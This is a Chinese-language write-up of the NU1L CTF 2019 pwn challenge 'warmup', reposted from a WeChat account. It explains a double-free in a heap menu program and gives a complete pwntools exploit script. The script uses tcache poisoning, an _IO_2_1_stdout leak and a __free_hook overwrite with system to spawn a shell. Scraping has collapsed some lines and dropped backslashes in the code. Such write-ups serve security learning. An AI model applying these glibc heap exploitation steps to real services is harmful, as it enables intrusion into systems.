warmup

admin 2022年7月27日20:00:52评论14 views字数 2261阅读7分32秒阅读模式


Challenge

  • 题目:warmpup

  • 类型:pwnable

  • 来源:NU1L CTF 2019

  • 环境:Ubuntu 18.04

  • 难度:Easy


Analysis

照旧先看一下保护

gdb-peda$ checksecCANARY    : ENABLEDFORTIFY   : disabledNX        : ENABLEDPIE       : ENABLEDRELRO     : FULL

菜单题,每次malloc大小固定为0x40;modify可以设置全局指针,最多读入0x40字节;free之后虽然指针清零了,但是还存在一个全局的指针,存在double free漏洞。

void dele_C73(){  int idx; // [rsp+4h] [rbp-Ch]
printf("index:"); idx = read_int_B4E(); if ( idx >= 0 && idx <= 9 ) { if ( g_202080[idx] ) ptr = (void *)g_202080[idx]; if ( ptr ) { free(ptr); g_202080[idx] = 0LL; puts("done!"); } else { puts("no such note!"); } } else { puts("invalid"); }}

由于malloc的大小有限,因此需要利用tcache poisoning attack使链接指向伪造的一个较大的chunk(0x90),然后通过8次free使该chunk进入unsorted bin里,这样堆上就会出现libc的地址(0x55555575680)。

0x555555757660:  0x0000000000000000  0x00000000000000510x555555757670:  0x0000555555757632  0x00000000000000910x555555757680:  0x0000155555326ca0  0x0000155555326ca00x555555757690:  0x0000000000000000  0x00000000000000000x5555557576a0:  0x0000000000000000  0x00000000000000000x5555557576b0:  0x0000000000000000  0x0000000000000051

然后我们再一次利用tcache poisoning attack使链接指向_IO_2_1_stdout,修改_flags和_IO_write_base的值,完成leak。注意tcache->counts如果变成0xff,再free就不会再进入tcache,因此事先多free几次,以防其变成0xff。

(0x50)   tcache_entry[3]: 0x555555757670 --> 0x555555757680...gdb-peda$ x/xg 0x5555557576800x555555757680:  0x0000155555327760

最后再利用一次tcache poisoning attack修改__free_hook为system,即可完成利用。


Solution

完整利用脚本如下,由于libc那里有4个bit的随机化,最后成功的概率是1/16

#!/usr/bin/env python# encoding: utf-8
from pwn import *
libc = ELF('./libc-2.27.so')
r = process('./warmup', aslr=False )
def add(content): r.sendlineafter('>>', '1'.ljust(14, ' ')) r.sendafter('>>', content)
def dele(idx): r.sendlineafter('>>', '2'.ljust(14, ' ')) r.sendlineafter(':', str(idx).ljust(15, 'x00'))
def modify(idx, content=''): r.sendlineafter('>>', '3'.ljust(14, ' ')) r.sendlineafter(':', str(idx).ljust(15, 'x00')) if len(content): r.sendafter('>>', content) else: pass
for i in range(7): add(str(i))
modify(0, p64(0) + p64(0x91)) # set ptr
for i in range(5): dele(str(i+2))
dele(0)dele(0)
add('x80') # 0add('2')add('3')
for i in range(8): dele(3)
modify(0, p64(0) + p64(0x51) + 'x60x77') # set ptrdele(0)dele(0)add('x80') # 0add('x')add('x')add(p64(0xfbad1887) + p64(0)*3 + 'x00')
r.recvuntil('x00'*8, timeout=1, drop=True)
libc.address = u64(r.recv(8)) - 0x3ed8b0log.info(hex(libc.address))
dele(0)dele(0)add(p64(libc.sym['__free_hook']))add('/bin/shx00'.ljust(0x40, 'x00'))add(p64(libc.sym['system']))dele(0)
r.interactive()



原文始发于微信公众号(pwnable):warmup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月27日20:00:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   warmuphttps://cn-sec.com/archives/622018.html

发表评论

匿名网友 填写信息